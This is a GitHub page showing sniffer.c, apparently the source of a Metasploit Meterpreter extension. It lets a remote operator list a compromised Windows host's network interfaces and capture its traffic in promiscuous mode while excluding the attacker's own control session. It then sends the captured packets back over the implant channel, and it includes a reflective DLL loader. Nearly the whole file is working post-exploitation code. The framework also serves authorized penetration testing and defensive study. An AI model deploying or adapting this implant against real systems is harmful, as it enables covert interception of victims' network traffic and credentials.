-
Notifications
You must be signed in to change notification settings - Fork 679
/
Copy pathsniffer.c
820 lines (648 loc) · 21.2 KB
/
sniffer.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
/*!
* @file sniffer.c
* @brief Definition for packet capture functionality.
*/
#define _CRT_SECURE_NO_DEPRECATE 1
#include "precomp.h"
#include "common_metapi.h"
// Required so that use of the API works.
MetApi* met_api = NULL;
DWORD request_sniffer_interfaces(Remote *remote, Packet *packet);
DWORD request_sniffer_capture_start(Remote *remote, Packet *packet);
DWORD request_sniffer_capture_stop(Remote *remote, Packet *packet);
DWORD request_sniffer_capture_stats(Remote *remote, Packet *packet);
DWORD request_sniffer_capture_release(Remote *remote, Packet *packet);
DWORD request_sniffer_capture_dump(Remote *remote, Packet *packet);
DWORD request_sniffer_capture_dump_read(Remote *remote, Packet *packet);
/*! @brief List of custom commands provided by the sniffer extension. */
Command customCommands[] =
{
COMMAND_REQ(COMMAND_ID_SNIFFER_INTERFACES, request_sniffer_interfaces),
COMMAND_REQ(COMMAND_ID_SNIFFER_CAPTURE_START, request_sniffer_capture_start),
COMMAND_REQ(COMMAND_ID_SNIFFER_CAPTURE_STOP, request_sniffer_capture_stop),
COMMAND_REQ(COMMAND_ID_SNIFFER_CAPTURE_STATS, request_sniffer_capture_stats),
COMMAND_REQ(COMMAND_ID_SNIFFER_CAPTURE_RELEASE, request_sniffer_capture_release),
COMMAND_REQ(COMMAND_ID_SNIFFER_CAPTURE_DUMP, request_sniffer_capture_dump),
COMMAND_REQ(COMMAND_ID_SNIFFER_CAPTURE_DUMP_READ, request_sniffer_capture_dump_read),
COMMAND_TERMINATOR
};
// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function
// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the
// second stage reflective dll inject payload and not the metsrv itself when it loads extensions.
#define RDIDLL_NOEXPORT
#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
#define check_pssdk(); if(!hMgr && pktsdk_initialize()!=0){ met_api->packet.transmit_response(hErr, remote, response);return(hErr); }
HANDLE hMgr;
DWORD hErr;
/*!
* @brief Initialises the packet sniffer SDK.
* @returns Indication of success or failure.
* @retval ERROR_ACCESS_DENIED The packet sniffer SDK failed to create a PSSDK manager instance.
* This could be due to insufficient privs (run as root/SYSTEM).
* @retval ERROR_SUCCESS Initialisation was successful.
*/
DWORD pktsdk_initialize(void)
{
dprintf("sniffer>> calling MgrCreate()...");
hMgr = MgrCreate();
if(! hMgr)
{
dprintf("sniffer>> failed to allocate a new Mgr object");
hErr = ERROR_ACCESS_DENIED;
return(hErr);
}
hErr = MgrInitialize(hMgr);
if(hErr != HNERR_OK)
{
MgrDestroy(hMgr);
hMgr = NULL;
}
dprintf("sniffer>> Mgr object initialized with return %d (handle %d)", hErr, hMgr);
return hErr;
}
HANDLE pktsdk_interface_by_index(unsigned int fidx) {
unsigned idx = 1;
HANDLE hCfg;
dprintf("sniffer>> pktsdk_interface_by_index(%d)", fidx);
hCfg = MgrGetFirstAdapterCfg(hMgr);
do {
if(fidx == idx++) return hCfg;
}while((hCfg = MgrGetNextAdapterCfg(hMgr,hCfg)) != NULL);
return NULL;
}
int sniffer_includeports[1024];
int sniffer_excludeports[1024];
void __stdcall sniffer_receive(DWORD_PTR Param, DWORD_PTR ThParam, HANDLE hPacket, LPVOID pPacketData, DWORD IncPacketSize);
struct sockaddr peername;
int peername_len;
struct sockaddr_in *peername4;
struct sockaddr_in6 *peername6;
/* mutex */
LOCK *snifferm;
#define SNIFFER_MAX_INTERFACES 128 // let's hope interface index don't go above this value
#define SNIFFER_MAX_QUEUE 200000 // ~290Mb @ 1514 bytes
CaptureJob open_captures[SNIFFER_MAX_INTERFACES];
HANDLE pktsdk_interface_by_index(unsigned int fidx);
DWORD pktsdk_initialize(void);
DWORD request_sniffer_interfaces(Remote *remote, Packet *packet)
{
Packet *response = met_api->packet.create_response(packet);
Tlv entries[8];
/*
0: Index
1: Name
2: Description
3: Type
4: MTU
5: Wireless?
6: Accessible?
7: DHCP?
*/
DWORD result = ERROR_SUCCESS;
HANDLE hCfg;
unsigned int idx = 1;
check_pssdk();
hCfg = MgrGetFirstAdapterCfg(hMgr);
do
{
unsigned char *aname = (unsigned char *)AdpCfgGetAdapterNameA(hCfg);
unsigned char *adesc = (unsigned char *)AdpCfgGetAdapterDescriptionA(hCfg);
unsigned int ahand = htonl((unsigned int)hCfg);
unsigned int atype = htonl(AdpCfgGetAdapterType(hCfg));
unsigned int amtu = htonl(AdpCfgGetMaxPacketSize(hCfg));
unsigned int aidx = htonl(idx);
BOOL awireless = AdpCfgIsWireless(hCfg);
BOOL ausable = AdpCfgGetAccessibleState(hCfg);
BOOL adhcp = AdpCfgGetDhcpState(hCfg);
memset(entries, 0, sizeof(entries));
dprintf("sniffer>> interface %d - %s - %s", idx, aname, adesc);
entries[0].header.type = TLV_TYPE_UINT;
entries[0].header.length = sizeof(unsigned int);
entries[0].buffer = (PUCHAR)&aidx;
entries[1].header.type = TLV_TYPE_STRING;
entries[1].header.length = (DWORD)strlen(aname) + 1;
entries[1].buffer = aname;
entries[2].header.type = TLV_TYPE_STRING;
entries[2].header.length = (DWORD)strlen(adesc) + 1;
entries[2].buffer = adesc;
entries[3].header.type = TLV_TYPE_UINT;
entries[3].header.length = sizeof(unsigned int);
entries[3].buffer = (PUCHAR)&atype;
entries[4].header.type = TLV_TYPE_UINT;
entries[4].header.length = sizeof(unsigned int);
entries[4].buffer = (PUCHAR)&amtu;
entries[5].header.type = TLV_TYPE_BOOL;
entries[5].header.length = sizeof(BOOL);
entries[5].buffer = (PUCHAR)&awireless;
entries[6].header.type = TLV_TYPE_BOOL;
entries[6].header.length = sizeof(BOOL);
entries[6].buffer = (PUCHAR)&ausable;
entries[7].header.type = TLV_TYPE_BOOL;
entries[7].header.length = sizeof(BOOL);
entries[7].buffer = (PUCHAR)&adhcp;
met_api->packet.add_tlv_group(response, TLV_TYPE_SNIFFER_INTERFACES, entries, 8);
idx++;
} while ((hCfg = MgrGetNextAdapterCfg(hMgr, hCfg)) != NULL);
met_api->packet.transmit_response(result, remote, response);
return ERROR_SUCCESS;
}
void __stdcall sniffer_receive(DWORD_PTR Param, DWORD_PTR ThParam, HANDLE hPacket, LPVOID pPacketData, DWORD IncPacketSize)
{
CaptureJob *j;
HANDLE pkt;
unsigned char *pktbuf;
unsigned char *pktmax;
struct eth_hdr *eth;
struct ip_hdr *ip;
struct tcp_hdr *tcp;
// struct udp_hdr *udp;
j = (CaptureJob *)Param;
pktbuf = (unsigned char *)pPacketData;
pktmax = pktbuf + IncPacketSize;
// Only process active jobs
if (!j->active) return;
// Traffic filtering goes here
do
{
// Skip matching on short packets
if (IncPacketSize < ETH_HDR_LEN + IP_HDR_LEN + TCP_HDR_LEN)
{
dprintf("sniffer>> skipping exclusion because the packet is too small");
break;
}
// Match IP packets
if (!peername4)
{
dprintf("sniffer>> skipping exclusion because peername4 is not defined");
break;
}
// Skip non-IP packets
eth = (struct eth_hdr *) pktbuf;
if (ntohs(eth->eth_type) != ETH_TYPE_IP)
{
dprintf("sniffer>> skipping non-IP packet from filter");
break;
}
// Skip non-TCP/UDP packets
ip = (struct ip_hdr *) &pktbuf[ETH_HDR_LEN];
if (ip->ip_p != IP_PROTO_TCP && ip->ip_p != IP_PROTO_UDP)
{
dprintf("sniffer>> skipping non-TCP/UDP packet from filter: %d", ip->ip_p);
break;
}
if (ip->ip_p == IP_PROTO_TCP)
{
tcp = (struct tcp_hdr *) &pktbuf[ETH_HDR_LEN + (ip->ip_hl * 4)];
if ((unsigned char *)tcp + TCP_HDR_LEN > pktmax)
{
dprintf("sniffer>> TCP packet is too short");
break;
}
// Ignore our own control session's traffic
if ((memcmp(&ip->ip_src, &peername4->sin_addr, 4) == 0 && tcp->th_sport == peername4->sin_port) ||
(memcmp(&ip->ip_dst, &peername4->sin_addr, 4) == 0 && tcp->th_dport == peername4->sin_port))
{
return;
}
// TODO: Scan through a list of included/excluded ports
}
// All done matching exclusions
} while (0);
// Thread-synchronized access to the queue
// -- PKS, per job locking would be finer grained.
// however, it probably doesn't matter.
met_api->lock.acquire(snifferm);
if (j->idx_pkts >= j->max_pkts) j->idx_pkts = 0;
j->cur_pkts++;
j->cur_bytes += IncPacketSize;
pkt = PktCreate(j->mtu);
PktCopyPacketToPacket(pkt, hPacket);
if (j->pkts[j->idx_pkts])
{
PktDestroy(j->pkts[j->idx_pkts]);
}
j->pkts[j->idx_pkts] = pkt;
j->idx_pkts++;
met_api->lock.release(snifferm);
}
DWORD request_sniffer_capture_start(Remote *remote, Packet *packet)
{
Packet *response = met_api->packet.create_response(packet);
unsigned int ifid;
unsigned int maxp;
CaptureJob *j;
DWORD result;
HANDLE ifh;
check_pssdk();
dprintf("sniffer>> start_capture()");
ifid = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_INTERFACE_ID);
maxp = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_PACKET_COUNT);
maxp = min(maxp, SNIFFER_MAX_QUEUE);
maxp = max(maxp, 1);
result = ERROR_SUCCESS;
do
{
// the interface is invalid
if (ifid == 0 || ifid >= SNIFFER_MAX_INTERFACES)
{
result = ERROR_INVALID_PARAMETER;
break;
}
ifh = pktsdk_interface_by_index(ifid);
if (ifh == NULL)
{
result = ERROR_INVALID_PARAMETER;
break;
}
j = &open_captures[ifid];
// the interface is already being captured
if (j->active)
{
result = ERROR_INVALID_PARAMETER;
break;
}
j->adp = AdpCreate();
dprintf("sniffer>> capture_start() AdpCreate: 0x%.8x", j->adp);
AdpSetConfig(j->adp, ifh);
hErr = AdpOpenAdapter(j->adp);
dprintf("sniffer>> capture_start() AdpOpenAdapter: 0x%.8x", hErr);
if (hErr != HNERR_OK)
{
AdpDestroy(j->adp);
result = hErr;
break;
}
j->capture_linktype = 1; // LINKTYPE_ETHERNET forced on windows
j->pkts = calloc(maxp, sizeof(*(j->pkts)));
if (j->pkts == NULL) {
AdpCloseAdapter(j->adp);
AdpDestroy(j->adp);
result = ERROR_ACCESS_DENIED;
break;
}
j->active = 1;
j->intf = ifid;
j->max_pkts = maxp;
j->cur_pkts = 0;
j->mtu = AdpCfgGetMaxPacketSize(AdpGetConfig(j->adp));
AdpSetOnPacketRecv(j->adp, (FARPROC)sniffer_receive, (DWORD_PTR)j);
AdpSetMacFilter(j->adp, mfAll);
} while (0);
met_api->packet.transmit_response(result, remote, response);
return ERROR_SUCCESS;
}
DWORD request_sniffer_capture_stop(Remote *remote, Packet *packet)
{
Packet *response = met_api->packet.create_response(packet);
unsigned int ifid;
CaptureJob *j;
DWORD result;
check_pssdk();
dprintf("sniffer>> stop_capture()");
ifid = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_INTERFACE_ID);
dprintf("sniffer>> stop_capture(0x%.8x)", ifid);
result = ERROR_SUCCESS;
do
{
// the interface is invalid
if (ifid == 0 || ifid >= SNIFFER_MAX_INTERFACES)
{
result = ERROR_INVALID_PARAMETER;
break;
}
j = &open_captures[ifid];
// the interface is not being captured
if (!j->adp)
{
result = ERROR_INVALID_PARAMETER;
break;
}
met_api->lock.acquire(snifferm);
j->active = 0;
AdpSetMacFilter(j->adp, 0);
AdpCloseAdapter(j->adp);
AdpDestroy(j->adp);
met_api->packet.add_tlv_uint(response, TLV_TYPE_SNIFFER_PACKET_COUNT, j->cur_pkts);
met_api->packet.add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, (unsigned int)j->cur_bytes);
met_api->lock.release(snifferm);
dprintf("sniffer>> stop_capture() interface %d processed %d packets/%d bytes", j->intf, j->cur_pkts, j->cur_bytes);
} while (0);
met_api->packet.transmit_response(result, remote, response);
return ERROR_SUCCESS;
}
DWORD request_sniffer_capture_release(Remote *remote, Packet *packet)
{
Packet *response = met_api->packet.create_response(packet);
unsigned int ifid, i;
CaptureJob *j;
DWORD result;
BOOL test_parameters;
check_pssdk();
dprintf("sniffer>> release_capture()");
ifid = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_INTERFACE_ID);
dprintf("sniffer>> release_capture(0x%.8x)", ifid);
result = ERROR_SUCCESS;
do
{
// the interface is invalid
if (ifid == 0 || ifid >= SNIFFER_MAX_INTERFACES)
{
result = ERROR_INVALID_PARAMETER;
break;
}
j = &open_captures[ifid];
// the interface is not being captured
test_parameters = !j->adp || j->active == 1;
if (test_parameters)
{
result = ERROR_INVALID_PARAMETER;
break;
}
met_api->lock.acquire(snifferm);
met_api->packet.add_tlv_uint(response, TLV_TYPE_SNIFFER_PACKET_COUNT, j->cur_pkts);
met_api->packet.add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, (unsigned int)j->cur_bytes);
dprintf("sniffer>> release_capture() interface %d released %d packets/%d bytes", j->intf, j->cur_pkts, j->cur_bytes);
for (i = 0; i < j->max_pkts; i++)
{
if (!j->pkts[i]) break;
PktDestroy(j->pkts[i]);
j->pkts[i] = NULL;
}
free(j->pkts);
memset(j, 0, sizeof(CaptureJob));
met_api->lock.release(snifferm);
} while (0);
met_api->packet.transmit_response(result, remote, response);
return ERROR_SUCCESS;
}
DWORD request_sniffer_capture_stats(Remote *remote, Packet *packet)
{
Packet *response = met_api->packet.create_response(packet);
unsigned int ifid;
CaptureJob *j;
DWORD result;
check_pssdk();
dprintf("sniffer>> capture_stats()");
ifid = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_INTERFACE_ID);
dprintf("sniffer>> capture_stats(0x%.8x)", ifid);
result = ERROR_SUCCESS;
do
{
// the interface is invalid
if (ifid == 0 || ifid >= SNIFFER_MAX_INTERFACES)
{
result = ERROR_INVALID_PARAMETER;
break;
}
j = &open_captures[ifid];
// the interface was not captured
if (!j->adp)
{
result = ERROR_INVALID_PARAMETER;
break;
}
met_api->lock.acquire(snifferm);
met_api->packet.add_tlv_uint(response, TLV_TYPE_SNIFFER_PACKET_COUNT, j->cur_pkts);
met_api->packet.add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, (unsigned int)j->cur_bytes);
met_api->lock.release(snifferm);
} while (0);
met_api->packet.transmit_response(result, remote, response);
return ERROR_SUCCESS;
}
DWORD request_sniffer_capture_dump_read(Remote *remote, Packet *packet)
{
Packet *response = met_api->packet.create_response(packet);
unsigned int ifid, i;
unsigned int bcnt;
CaptureJob *j;
DWORD result;
check_pssdk();
dprintf("sniffer>> capture_dump_read()");
ifid = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_INTERFACE_ID);
bcnt = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_BYTE_COUNT);
bcnt = min(bcnt, 32 * 1024 * 1024);
dprintf("sniffer>> capture_dump_read(0x%.8x, %d)", ifid, bcnt);
result = ERROR_SUCCESS;
do
{
// the interface is invalid
if (ifid == 0 || ifid >= SNIFFER_MAX_INTERFACES)
{
met_api->packet.add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, 0);
goto fail;
}
j = &open_captures[ifid];
if (!j->dbuf)
{
met_api->packet.add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, 0);
goto fail;
}
if (j->didx + bcnt > j->dlen)
{
bcnt = j->dlen - j->didx;
}
met_api->packet.add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, bcnt);
met_api->packet.add_tlv_raw(response, TLV_TYPE_SNIFFER_PACKET, (unsigned char *)j->dbuf + j->didx, bcnt);
j->didx += bcnt;
} while (0);
// Free memory if the read is complete
if (j->didx >= j->dlen - 1)
{
free(j->dbuf);
j->dbuf = NULL;
j->didx = 0;
j->dlen = 0;
// if dump occurs when interface is not active, i.e sniff has ended, release info
if (j->active == 0)
{
dprintf("sniffer>> capture_dump_read, release CaptureJob");
met_api->lock.acquire(snifferm);
for (i = 0; i < j->max_pkts; i++)
{
if (!j->pkts[i]) break;
PktDestroy(j->pkts[i]);
j->pkts[i] = NULL;
}
free(j->pkts);
memset(j, 0, sizeof(CaptureJob));
met_api->lock.release(snifferm);
}
}
fail:
met_api->packet.transmit_response(result, remote, response);
return ERROR_SUCCESS;
}
DWORD request_sniffer_capture_dump(Remote *remote, Packet *packet)
{
Packet *response = met_api->packet.create_response(packet);
unsigned int ifid;
unsigned int rbuf, mbuf;
unsigned int *tmp;
CaptureJob *j;
DWORD result, pcnt, rcnt, i;
#ifdef _WIN64
ULONGLONG thilo;
#endif
DWORD thi, tlo;
check_pssdk();
dprintf("sniffer>> capture_dump()");
ifid = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_INTERFACE_ID);
dprintf("sniffer>> capture_dump(0x%.8x)", ifid);
result = ERROR_SUCCESS;
met_api->lock.acquire(snifferm);
do
{
// the interface is invalid
if (ifid == 0 || ifid >= SNIFFER_MAX_INTERFACES)
{
result = ERROR_INVALID_PARAMETER;
break;
}
j = &open_captures[ifid];
// the interface was not captured
if (!j->adp)
{
result = ERROR_INVALID_PARAMETER;
break;
}
// Free any existing packet buffer
if (j->dbuf)
{
free(j->dbuf);
j->dbuf = NULL;
j->dlen = 0;
j->didx = 0;
}
// Add basic stats
pcnt = 0;
rcnt = 0;
mbuf = (1024 * 1024);
j->dbuf = malloc(mbuf);
rbuf = 0;
for (i = 0; i < j->max_pkts; i++)
{
if (!j->pkts[i]) break;
rbuf += (8 + 8 + 4 + PktGetPacketSize(j->pkts[i]));
if (mbuf < rbuf)
{
mbuf += (1024 * 1024);
j->dbuf = realloc(j->dbuf, mbuf);
if (!j->dbuf)
{
dprintf("sniffer>> realloc of %d bytes failed!", rbuf);
result = ERROR_NOT_ENOUGH_MEMORY;
break;
}
}
tmp = (unsigned int *)(j->dbuf + rcnt);
#ifdef _WIN64
thilo = PktGetId(j->pkts[i]);
thi = (DWORD)(thilo >> 32);
tlo = (DWORD)(thilo & 0xFFFFFFFF);
#else
tlo = PktGetId(j->pkts[i], &thi);
#endif
*tmp = htonl(thi); tmp++;
*tmp = htonl(tlo); tmp++;
#ifdef _WIN64
thilo = PktGetTimeStamp(j->pkts[i]);
thi = (DWORD)(thilo >> 32);
tlo = (DWORD)(thilo & 0xFFFFFFFF);
#else
tlo = PktGetTimeStamp(j->pkts[i], &thi);
#endif
*tmp = htonl(thi); tmp++;
*tmp = htonl(tlo); tmp++;
tlo = PktGetPacketSize(j->pkts[i]);
*tmp = htonl(tlo); tmp++;
memcpy(j->dbuf + rcnt + 20, PktGetPacketData(j->pkts[i]), tlo);
rcnt += 20 + tlo;
pcnt++;
PktDestroy(j->pkts[i]);
j->pkts[i] = NULL;
}
j->dlen = rcnt;
met_api->packet.add_tlv_uint(response, TLV_TYPE_SNIFFER_PACKET_COUNT, pcnt);
met_api->packet.add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, rcnt);
// add capture datalink, needed when saving capture file, use TLV_TYPE_SNIFFER_INTERFACE_ID not to create a new TLV type
met_api->packet.add_tlv_uint(response, TLV_TYPE_SNIFFER_INTERFACE_ID, j->capture_linktype);
dprintf("sniffer>> finished processing packets");
j->cur_bytes = 0;
j->cur_pkts = 0;
j->idx_pkts = 0;
} while (0);
met_api->lock.release(snifferm);
met_api->packet.transmit_response(result, remote, response);
return ERROR_SUCCESS;
}
/*!
* @brief Initialize the server extension.
* @param api Pointer to the Meterpreter API structure.
* @param remote Pointer to the remote instance.
* @return Indication of success or failure.
*/
DWORD InitServerExtension(MetApi* api, Remote* remote)
{
met_api = api;
SET_LOGGING_CONTEXT(api)
dprintf("[SERVER] Registering command handlers...");
met_api->command.register_all(customCommands);
dprintf("[SERVER] Memory reset of open_captures...");
memset(open_captures, 0, sizeof(open_captures));
// initialize structures for the packet sniffer sdk
hMgr = NULL;
hErr = 0;
dprintf("[SERVER] Memory reset of include/exclude port lists...");
// wipe the include/exclude ports empty
memset(sniffer_includeports, 0, sizeof(sniffer_includeports));
memset(sniffer_excludeports, 0, sizeof(sniffer_excludeports));
sniffer_includeports[0] = -1;
sniffer_excludeports[0] = -1;
dprintf("[SERVER] Getting the peer name of our socket...");
// get the address/port of the connected control socket
peername4 = NULL;
peername6 = NULL;
peername_len = sizeof(peername);
if (remote->transport->get_handle) {
getpeername(remote->transport->get_handle(remote->transport), &peername, &peername_len);
if(peername.sa_family == PF_INET) peername4 = (struct sockaddr_in *)&peername;
dprintf("[SERVER] Getting the IPv6 peer name of our socket...");
if(peername.sa_family == PF_INET6) peername6 = (struct sockaddr_in6 *)&peername;
}
else {
// TODO: not sure what to do here
}
dprintf("[SERVER] Creating a lock...");
snifferm = met_api->lock.create();
return hErr;
}
/*!
* @brief Deinitialize the server extension.
* @param remote Pointer to the remote instance.
* @return Indication of success or failure.
*/
DWORD DeinitServerExtension(Remote *remote)
{
met_api->command.deregister_all(customCommands);
MgrDestroy(hMgr);
met_api->lock.destroy(snifferm);
return ERROR_SUCCESS;
}
/*!
* @brief Do a stageless initialisation of the extension.
* @param ID of the extension that the init was intended for.
* @param buffer Pointer to the buffer that contains the init data.
* @param bufferSize Size of the \c buffer parameter.
* @return Indication of success or failure.
*/
DWORD StagelessInit(UINT extensionId, const LPBYTE buffer, DWORD bufferSize)
{
return ERROR_SUCCESS;
}
/*!
* @brief Callback for when a command has been added to the meterpreter instance.
* @param commandId The ID of the command that has been added.
*/
VOID CommandAdded(UINT commandId)
{
}